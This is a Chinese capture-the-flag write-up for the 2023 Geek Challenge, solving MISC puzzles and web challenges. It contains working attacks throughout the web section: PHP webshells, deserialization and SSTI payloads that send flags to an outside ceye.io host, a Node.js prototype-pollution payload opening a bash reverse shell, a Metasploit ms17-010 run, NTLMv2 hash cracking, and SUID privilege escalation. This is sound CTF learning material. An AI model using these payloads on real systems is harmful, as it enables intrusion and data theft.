2023极客大挑战-wp

MISC

cheekin

image-20231122092713811

ez_smilemo

利用工具UndertaleModTool打开data.win

搜索flag

可得到一串base64

解码得到flag

sm1le_1s_@_n1ce_g@me

Qingwan心都要碎了

SYC{重庆中国三峡博物馆}

下一站是哪呢

百度识图的到机场为深圳宝安机场

猪猪侠图片分离,得到一张图片

image-20231027144001551

对应下来就是iwanttobaijiucity

搜索得知为泸州,搜素8月25的航班,得到

SYC{CZ8579_Luzhou}

xqr

二维码异或

可以用steglove异或

这里放一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from PIL import Image

def resize_image(image, size):
"""调整图像大小"""
return image.resize(size)

def xor_images(image1, image2):
"""异或两张图像"""
pixels1 = image1.load()
pixels2 = image2.load()
xor_image = Image.new('1', image1.size) # 创建一个二值图像

for i in range(image1.size[0]):
for j in range(image1.size[1]):
xor_value = pixels1[i, j] ^ pixels2[i, j] # 异或操作
xor_image.putpixel((i, j), xor_value)

return xor_image

# 加载两张25x25像素的图像
image_path1 = "xqr.png"
image_path2 = "xqr2.png"

image1 = Image.open(image_path1).convert("1") # 转换为二值图像
image2 = Image.open(image_path2).convert("1") # 转换为二值图像

# 调整图像大小为75x75像素
new_size = (75, 75)
resized_image1 = resize_image(image1, new_size)
resized_image2 = resize_image(image2, new_size)

# 异或两张图像并保存结果
result_image = xor_images(resized_image1, resized_image2)
result_image.save("result.png")

DEATH_N0TE

lsb隐写在通道0提取数据

image-20231028203627086

拿去base64解密得到第一段flag

image-20231028203938275

之后提取出图片的像素点得到

image-20231028204046922

哥特体字体解密,对照

image-20231028204121236

得到TkFNRV9vMnRha3VYWH0=

base64解密得到后半段flag NAME_o2takuXX}

SYC{D4@Th_N0t4_NAME_o2takuXX}

DEATH_N1TE

附件给了两个文件,一个webp,一个mp3

先说MP3文件,用rxsstv分析,可以得到部分flag

image-20231101190636535

另一部分,webp图片,打开发现他是动图,感觉和gif图片很像,利用在线网站将它转换为gif文件

转换为gif文件后,对gif文件进行分帧,总共的导880张图片,很明显需要我们拼图了

image-20231101191051471

拼图这里利用到gapshttps://github.com/nemanja-m/gaps

工具使用:

[文章1]: https://blog.csdn.net/m0_62291930/article/details/124139016?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-124139016-blog-119981204.235%5Ev38%5Epc_relevant_default_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-124139016-blog-119981204.235%5Ev38%5Epc_relevant_default_base&utm_relevant_index=2 “1”
[文章2]: https://blog.csdn.net/ZT7524/article/details/119981204?spm=1001.2101.3001.6650.11&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-11-119981204-blog-107585782.235%5Ev38%5Epc_relevant_default_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-11-119981204-blog-107585782.235%5Ev38%5Epc_relevant_default_base&utm_relevant_index=14 “2”

推荐看1

还有报错修复的https://blog.csdn.net/qq_45836474/article/details/105353690

先montage ./flag/*.png -tile 22x40 -geometry +0+0 flag.png

之后gaps run ./flag.png newfalg.png –generations=48 –population=20 –size=48

image-20231101191451988

可以得到一张图片

image-20231101191554264

base64解码得到后半段flag

image-20231101191611122

组合一下SYC{H4xrOtOr_14_Ki114R}

SimpleConnect

由于没有做题可以用的G币,网络上难以获得,但是区块链浏览器上很多信息是公开的,

区块链浏览器中得到

0x4FE327c8f792c3ff30FC4E0BC79476CC7933E4D1

SYC{kajd_u_iaak___hdskj_a}

give_me_Goerlieth

同上类似

0xb08eb1e114877c6577b934b3bb3810a68587d9cb54de5ef0294541dd2f85c787

SYC{rsiiasx_13njsa_13klsa__sa}

窃听风云

一个NTML加密的流量包,流量包内容比较少,就一个流,比较容易看

借鉴https://zhuanlan.zhihu.com/p/52882041

1.在Wireshark中打开包含NTLMv2散列的.pcap文件。

2.通过ntlmssp这一字符串进行数据包筛选,获得身份验证的握手包。

image-20231102191550415

3.第二步过滤后,我们可以得到三个包。查找NTLMSSP_AUTH包。将数据包向下过滤到Security Blob层,就可以得到如下好东西:

image-20231102191629079

4.将域名和用户名复制到文本文档中。

5.深入查找NTLM响应部分,找到NTProofStr字段和NTLMv2的响应。将它们作为十六进制字符串复制到文本文档中。

image-20231102191713057

6.注意,NTLMv2Response是从ntlmProofStr开始,因此从NTLMv2的响应中删除ntlmProofStr。

image-20231102191832660

7.在Wireshark的搜索过滤器中输入ntlmssp.ntlmserverchallenge。就会发现NTLM Server Challenge字段,通常这个数据包是在NTLM_Auth数据包之前。将该值作为十六进制字符串复制到文本文档。

image-20231102191912232

8.将以上的所有值按以下格式保存到crackme.txt:

1
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response

image-20231102191926719

9.找到你最喜欢的密码字典(RockYou? best_1000_passwords2018.txt?)并打开电脑终端运行以下命令:

1
hashcat -m 5600 crackme.txt passwordlist.txt 

image-20231102192006355

SYC{iamjackspassword}

extractMe

利用crc32爆破工具

1
2
3
4
5
6
7
8
4 bytes: SYC{ {0x53, 0x59, 0x43, 0x7b}
4 bytes: ck_1 {0x63, 0x6b, 0x5f, 0x31}
4 bytes: s_Us {0x73, 0x5f, 0x55, 0x73}
4 bytes: eful {0x65, 0x66, 0x75, 0x6c}
4 bytes: _som {0x5f, 0x73, 0x6f, 0x6d}
4 bytes: etim {0x65, 0x74, 0x69, 0x6d}
4 bytes: e$_} {0x65, 0x24, 0x5f, 0x7d}
SYC{_cR@ck_1s_Useful_sometime$_}

时代的眼泪

虚拟机登录上密码提示说时代之泪,上网搜猜测跟漏洞的有关,nmap扫描

先查看虚拟机的ip地址

1
ip add 

查看xp系统ip

1
arp-scan -l #查看局域网中所有ip

我的探测到xp电脑ip为 192.168.86.135

已知被攻击机的ip,利用nmap扫描一下

nmap -sS -sV -Pn 192.168.86.135

1
nmap -A -sV  192.168.86.135#扫描靶机的所有信息和版本信息

image-20231105154830496

发现开放了445端口

去检测一下漏洞

1
nmap --script=vuln  192.168.896.135
1
2
#--script可以指定脚本
#vuln脚本包含了许多已知漏洞

image-20231105155551630

发现存在cve-2017-0413

结论用到msf

1
msfconsole

image-20231105155656965

每次启动动画都不一样,还挺有趣

接着search ms17-010

image-20231105155752855

选择3,测试存不存在该漏洞

1
use 3

选择好,set rhosts 192.168.86.135

之后run

image-20231105155906859

发现存在该漏洞,切为32位的

我们在换到1

1
2
3
4
5
use 1

set rhosts 192.168.86.135

run

image-20231105160049123

我们发现攻击成功

输入shell命令

就可以执行命令了

net user q1ngchuan 1234 /add

添加了一个用户,在去登录就发现会有两个用户啦,最后在图片里找到flag

image-20231105160305675

DEATH_N2TE

视频中有很明显的像素点存在

写个脚本提取一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from PIL import Image
import numpy as np

# 打开图像并转换为RGB模式
image = Image.open('11.jpg').convert('RGB')

# 获取图像的宽度和高度
width, height = image.size

# 将图像转换为数组
image_array = np.array(image)

# 从图像中提取像素,每隔6个像素取一个
extracted_pixels = []
for y in range(1, height, 5): # 从第一个像素开始,每隔6个像素取一次
for x in range(1, width, 5):
pixel = tuple(image_array[y, x]) # 获取像素的RGB值并转换为元组
extracted_pixels.append(pixel) # 将提取的像素存入列表中

# 计算新图像的宽度和高度
width1 = len(range(35, width, 45)) # 计算新图像的宽度
height1 = len(range(40, height, 45)) # 计算新图像的高度

# 创建新的图像对象
img = Image.new('RGB', (width1, height1))
pixels = img.load()

# 将提取的像素放入新图像
index = 0
for y in range(height1):
for x in range(width1):
img.putpixel((x, y), extracted_pixels[index]) # 将提取的像素放入新图像
index += 1

# 保存新图像并显示
img.save("1.jpg") # 保存新图像
img.show() # 显示新图像

分解出来得到一张图片

拉伸一下比较可以清楚看到flag

image-20231122091323513

stage

先输入source

获取合约源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

pragma solidity ^0.8.4;

interface IReceiver {
function getNumber() external view returns(uint256);
}
contract stageGame{
mapping (address => bool) private flag;
mapping (address => bool) public isStage1Completed;

function stage1() external {
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size == 0,"EOA must!");
isStage1Completed[msg.sender] = true;
}

function stage2(uint _guess) external {
require(isStage1Completed[msg.sender],"You should complete stage1 first!");
uint number = block.timestamp % 100 + 1;
require(number == _guess, "Wrong number!");
_stage3();
}

function _stage3() private {
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size > 0,"Contract must!");
uint256 number1;
uint256 number2;
(bool success,bytes memory data1) = addr.staticcall(abi.encodeWithSignature("getNumber()"));
require(success,"First call failed!");
number1 = abi.decode(data1, (uint256));

(bool success2,bytes memory data2) = addr.call(abi.encodeWithSignature("getNumber()"));
require(success2,"Second call failed!");
number2 = abi.decode(data2, (uint256));
require(number1 != number2, "Must return different Number!");

flag[tx.origin] = true;
}


function check(address addr) external view returns(bool){
return flag[addr];
}

}


包含了三个函数和两个状态变量。

  • stage1(): 这个函数用于用户完成第一阶段。它使用了 extcodesize 来检查调用者是否是外部账户,如果是,则将调用者添加到 isStage1Completed 映射中。
  • stage2(uint _guess): 这个函数用于用户完成第二阶段。首先需要检查用户是否已经完成了第一阶段,然后生成一个随机数,并要求用户猜这个随机数。如果用户猜对了,将调用私有函数 _stage3()
  • _stage3(): 这是一个私有函数,用于用户完成第三阶段。它首先使用 extcodesize 检查调用者是否是合约账户,然后通过调用外部合约的 getNumber() 函数来获取两个数字,并要求这两个数字不相等。最后,将调用者的原始地址添加到 flag 映射中。
  • check(address addr): 这个函数用于检查特定地址是否已获得标记。
  • flagisStage1Completed:这两个状态变量用于记录用户的完成状态和标记状态。

上面gpt写的,来说一下我的思路:总共有3关

第一关,如果 extcodesize 返回的大小为 0,表示调用者是一个外部账户,那么用户就完成了第一阶段,将size设置为0即可

第二关,就是让你猜数,猜对了才能过,借用合约中设置随机数的代码就能过

uint number = block.timestamp % 100 + 1;

第三关借鉴https://ranwen.de/posts/2023-09-17-metatrust23/

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract Exp {
IStageGame public stageGame;
constructor(address _address) {
require(_address != address(0), "StageGame address cannot be the zero address.");
stageGame = IStageGame(_address);
stageGame.stage1();
}


function guessNumber() external view returns (uint256) {
uint256 gasBefore = gasleft();

uint256 dummy;
assembly {
dummy := sload(0x66666)
}
uint256 gasAfter = gasleft();
uint256 gasConsumed = gasBefore - gasAfter;

return (gasConsumed > 2000) ? 0 : 1;
}
function hack(address addr) public returns (bool) {
require(addr != address(0), "Address cannot be the zero address.");
uint256 number = block.timestamp % 100 + 1;
stageGame.stage2(number);
return stageGame.check(addr);
}
}

打通之后image-20231126103458770

在这里可查看私钥、

得到flag

1
SYC{qOBPkOKlzycuDRTBSjfz}

WEB

###easy_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>


?syc=Welcome to GeEK 2023!&lover=2e4

qw[]=1&yxx[]=2&SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!

Ezhttp

image-20231026211232849

unsign

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}

class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}

}

class web
{
public $eva1="system";
public $interesting="cat /f*";

public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
echo serialize($a);

n00b_Upload

文件上传,上传1.png内容为

1
<=eval($_POST[1]_)?>

抓包,改后缀为1.php

链接蚁剑

ctf_curl

1
-T "/tmp/Syclover" 123.57.236.154

flag保卫战

需要双线程脚本去跑

jwt需要伪造 密钥为123456

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import threading

BASE_URL = ''
UPLOAD_URL = BASE_URL + 'upload'
CSRF_URL = BASE_URL + 'new-csrf-token'
FLAG_URL = BASE_URL + 'flag?pass=aaaa'

HEADERS = {
'Cookie': 'jwt-token=伪造后的'
}

def get_csrf_token():
response = requests.get(url=CSRF_URL, headers=HEADERS)
content_length = response.headers.get('Set-Cookie')
csrf_token = content_length.split('yak_csrf=')[-1].split(';')[0]
return csrf_token

def upload_file():
while True:
csrf_token = get_csrf_token()
file = {'filename': ('test.txt', 'a', 'text/plain')}
data = {'yak-token': csrf_token}
headers = {'Cookie': f'jwt-token={HEADERS["Cookie"]}; yak_csrf={csrf_token}'}

try:
response = requests.post(url=UPLOAD_URL, headers=headers, files=file, data=data)
response.raise_for_status()
print(response.text)
except requests.exceptions.RequestException as e:
print(f'Error during file upload: {e}')

def get_flag():
while True:
csrf_token = get_csrf_token()
data = {'yak-token': csrf_token}
headers = {'Cookie': f'jwt-token={HEADERS["Cookie"]}; yak_csrf={csrf_token}'}

try:
response = requests.get(url=FLAG_URL, data=data, headers=headers)
response.raise_for_status()
print(response.text)
except requests.exceptions.RequestException as e:
print(f'Error while getting flag: {e}')

if __name__ == "__main__":
upload_thread = threading.Thread(target=upload_file)
flag_thread = threading.Thread(target=get_flag)

upload_thread.start()
flag_thread.start()

upload_thread.join()
flag_thread.join()

脚本需要跑一会,会得出flag

image-20231126191237932

klf_ssti

需要外带,

{{url_for.__globals__.__builtins__['__import__']('os').popen('curl http://cat /app/f*.1q1mow.ceye.io/').read()}}

image-20231102192533599

image-20231102192553030

这里外带有些小问题,带出来的都是小写字母,但flag里面有大写字母,我当时带出来了,交了好几遍都不对,最后带了base64发现base64是小写才发现了问题,最后对照base64,几个一组一组的解出来

真离谱。。。。,希望有师傅能帮忙解答一下,万分感谢,很疑惑

带base64的命令:

{{url_for.__globals__.__builtins__['__import__']('os').popen('curl http://cat /app/f*|base64.1q1mow.ceye.io/').read()}}

###ez_remove

这到题了解到了一个新知识,S可以解析16进制,也就是payload里为什么要把小写s改为S

1
O:3:"syc":2:{S:5:"\6c\6f\76\65\72";s:64:"file_put_contents('./aaaa.php','<?php eval($_POST["aaaa"]);?>');";}

写进去马之后链接蚁剑

image-20231102193251406

记得改为http

连接上之后,在根目录找到flag,发现里面啥内容没有

右键打开蚁剑终端

image-20231102193417913

得到flag

Pupyy_rce

利用随机数组去读取flag

多刷新几次就好了

1
show_source(array_rand(array_flip(scandir(getcwd()))));

image-20231103154804015

famale_imp_l0ve

打开环境是一个文件上传

查看源码发先藏了一个提示/include.php

访问之后发现

1
2
3
4
5
6
7
8
9
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>

查看上传页面,只允许上传zip文件,很明显考点就是zip文件上传了

很明显看出来这是个文件包含,但是将传递的文件名后面强制加了一个".jpg"的后缀,导致了无法任意文件包含。

https://blog.csdn.net/Fly_hps/article/details/86609730借鉴这篇文章

我们先创建一个php文件

内容为

1
<?php system("cat /f*");?>

后缀改为.jpg

image-20231103172910945

压缩为zip文件

image-20231103172934296

将该文件上传

会给提示路径如url/upload/php6.zip

进入到include.php页面

利用phar://伪协议

1
?file=phar://upload/php6.zip/php.jpg

image-20231103173110832

得到flag:SYC{sLeHGeVeExaS7yV5aC}

类似的源码还有:

1
2
3
4
<?php
$file = $_GET['file'];
include($file.".jpg");
?>

zip也可以

http://php.net/manual/zh/wrappers.compression.php

其中有一段用法:zip://archive.zip#dir/file.txt

you konw flask?

在robots.txt

发现/3ysd8.html

访问,查看源代码,发现key

image-20231103211345423

得知是一个随机的key,需要爆破

1
2
3
4
5
6
import base64

for i in range(1, 10000):
encoded_number = base64.b64encode(str(i).encode('utf-8')).decode('utf-8')
secret_key = 'wanbao' + encoded_number + 'wanbao'
print(secret_key)

跑出100个key,放到文本里,利用工具跑出真正的key

image-20231103211214945

得到真正的key是wanbaoMw==wanbao

去解密

1
2
python3 flask_session_cookie_manager3.py decode -s "wanbaoMw==wanbao" -c "eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxIiwidXNlcl9pZCI6Mn0.ZUTozw.65FuyjKjz-vOw3YgYJ83vsfp4xs"
{'is_admin': False, 'name': '1', 'user_id': 2}

加密

1
2
python3 flask_session_cookie_manager3.py encode -s "wanbaoMw==wanbao" -t "{'is_admin': True, 'name': '1', 'user_id': 2}"
eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjEiLCJ1c2VyX2lkIjoyfQ.ZUTxYg.Sp9usxsjRLov7Pb_4kSLx3hjp9U

替换网页原来的session刷心一下,得到flag

image-20231103211753425

Ez_path

第一种做法

https://joz0hijkme83jba02jeuresfa.node.game.sycsec.com/upload

title=/f14444&content=/

title对应的是文件名,content对应目录

第二种做法

做题的时候发现可以对文件内容,就想着试试算pin码

试了试,绝对可行

image-20231105185238323

网卡:da:95:db:1d:ba:40记得转10进制为:240337161140800

/proc/sys/kernel/random/boot_id:31e70710-1d09-4cda-bc57-a7a012a89ef7

/proc/self/cgroup:docker-68c1c29b5495858c4060e0975f5afc0faedac3cf6176a98caa80d4b56af9516e.scope

脚本算pin码:

image-20231105185457402

得到

122-777-694

登入console,拿到flag

image-20231105185528606

访问/hint可获得提示

jwt伪造,密钥为VanZY (根据提示得到)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTk1ODUwODB9.6qHthpTAmrnDswAwlZ-zZR2U1oKJFY3vx8RsbanyJ_Q

伪造之后访问source获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

var Super = {};

var safecode = function (code){
let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
return !validInput.test(code);
};

app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
putil_merge({}, req.body, {deep:true});
}
res.send("welcome to code");
});

app.all('/hint', (req, res) => {
res.type('html');
res.send("I heard that the challenge maker likes to use his own id as secret_key");
});

app.get('/source', (req, res) => {
res.type('html');
var auth = req.cookies.auth;
jwt.verify(auth, jwt_secret , function(err, decoded) {
try{
if(decoded.user==='admin'){
res.sendFile(path.join(__dirname + '/index.js'));
}else{
res.send('you are not admin <!--Maybe you can view /hint-->');
}
}
catch{
res.send("Fuck you Hacker!!!")
}
});
});

app.all('/create', (req, res) => {
res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null){
res.send("please input name");
}else {
if (Super['userrole'] === 'Superadmin') {
res.render('index', req.body);
}else {
if (!safecode(req.body.name)) {
res.send("你在做什么?快停下!!!")
}
else{
res.render('index', {name: req.body.name});
}
}
}
});

app.get('/',(req, res) => {
res.type('html');
var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });
res.cookie('auth ',token);
res.end('Only admin can get source in /source');

});

app.listen(3000, () => console.log('Server started on port 3000'));

原型链污染在code路由

传{“constructor”:{“prototype”:{“userrole”:”Superadmin”}}}伪造为superadmin

之后在/create路由弹shell

1
2
3
4
5
6
7
{
"settings":{
"view options":{
"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/9999 0>&1\"');",
"client":"true"
}
},"name":"curl"}

image-20231110124136939

curl http://lsceye也可以

klf_2

命令char+全角字符转换

https://djb55f8xt99xvckg0uag3dojh.node.game.sycsec.com/secr3ttt?klf={% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join()%} {% set glo=(a,a,dict(glob=a,als=a)|join,a,a)|join()%} {% set geti=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%} {% set impo=(a,a,dict(imp=a,ort=a)|join,a,a)|join() %} {% set built=(a,a,dict(buil=a,tins=a)|join,a,a)|join()%} {% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%} {% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%} {% set sub=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set o=(dict(o=a,s=a))|join()%} {% set en=(dict(po=a,pen=a))|join()%} {% set ca=(dict(who=a,ami=a))|join()%} {% set fl=dict(fl=a,ag=a)|join()%} {% set re=(dict(re=a,ad=b))|join()%} {% set cc=(dict(ch=a,r=a))|join()%} {%set get=dict(get=a)|join%} {%set ch=()|attr(cl)|attr(ba)|attr(sub)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(built)|attr(geti)(cc)%} {%set cmd=(ch(9%EF%BC%99),ch(9%EF%BC%97),ch(1%EF%BC%91%EF%BC%96),ch(3%EF%BC%92),ch(4%EF%BC%97),ch(9%EF%BC%97),ch(1%EF%BC%91%EF%BC%92),ch(1%EF%BC%91%EF%BC%92),ch(4%EF%BC%97),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93))|join()%} {{a|attr(cl)|attr(ba)|attr(sub)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(en)(cmd)|attr(re)()}}

EzRce

无数字字母rce

网上搜到p神的脚本直接蚁剑连接

1
2
3
4
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
eval($___[_]);

蚁剑链接,访问flag

发现没权限读取

find / -perm -4000 2>/dev/null

发现可以利用find提权

find /tmp -exec cat /flag ;

image-20231119162833115

读到flag

SYC{ThE_RCe_is_S0_Eas1ly_DD!}

Changeit

查看页面可以看到用户名和密码

登录后要求设置头像和其他信息,尝试上传图片后发现身份不允许,查看cookie,发现后token

猜测是jwt伪造image-20231119163510103

尝试将admin检测改为true

发现不可以

猜测有密码加密

image-20231120111721348

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOiJ0cnVlIn0.qs6tjnaghMXiTsvqEMUauz_JGzxxKdtaXPGVtQUEHek

伪造成功上传图片没有任何限制,直接上传php马,连不上

结合源码里的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!-- 一直连不上?连不上就对啦! -->
<!--
php版本为8.0
// 定义一个函数用来设置 Mersenne Twister 算法的种子
function php_mt_seed($seed)
{
mt_srand($seed); // 使用给定的种子初始化随机数生成器
}

// 获取当前时间作为种子
$seed = time(); // 当前时间戳作为种子
php_mt_seed($seed); // 使用种子初始化随机数生成器

$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; // 定义包含所有可能字符的字符串

$newFileName = ''; // 初始化新文件名
for ($i = 0; $i < 10; $i++) {
$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)]; // 从字符集中随机选择一个字符追加到新文件名中
}
-->

是个伪随机的生成文件名,文件名其实我们可以知道,通过爆破字符串可以的值上传的文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import time
import os

BASE_URL = ' url '
CHANGE_URL = BASE_URL + 'change.php'

# 修正 PHP 代码并添加 <?php 标签
PHP_CODE = '<?php eval($_POST["aaaa"]); ?>'
FILE_PAYLOAD = {'filename': ('1.php', PHP_CODE)}

def post_change_request():
response = requests.post(CHANGE_URL, FILE_PAYLOAD)
response.raise_for_status()

def generate_time_file():
current_time = int(time.time())
with open('./1.txt', 'w') as f:
for i in range(current_time - 90, current_time + 90):
f.write(str(i) + '\n')

def execute_php_script():
os.system('php test.php')

def check_and_print_payload():
with open('./2.txt', 'r') as f2:
for line in f2:
data = line.strip()
payload = BASE_URL + 'upload/' + data + '.php'
print(payload)
response = requests.get(payload)
if response.status_code == 200:
print(data)
break # 修正了缩进并添加了对 break 语句的注释

if __name__ == "__main__":
try:
post_change_request()
generate_time_file()
execute_php_script()
check_and_print_payload()
except requests.exceptions.RequestException as e:
print(f'Error during script execution: {e}')

image-20231120200135268

跑得上传的文件名,蚁剑连上得到flag

Ezpython

题目描述给了污染,很明显了

贴个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False


class hhh(User):
def __init__(self):
self.username=""
self.password=""

registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")

@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="`{{url_for(\'static\',filename=\'weixin.png\')}}`">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)



if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")

审计源码发现在merge存在原型链污染

在注册页面进行污染

1
2
3
4
5
6
	"username" : "admin", 
"password" : "111",
"__init__":{"__globals__":{
"User":{
"\u0069\u0073\u0076\u0069\u0070":1}}}
}

image-20231126120649550

发包,登录

登录成功之后访问flag路由

1
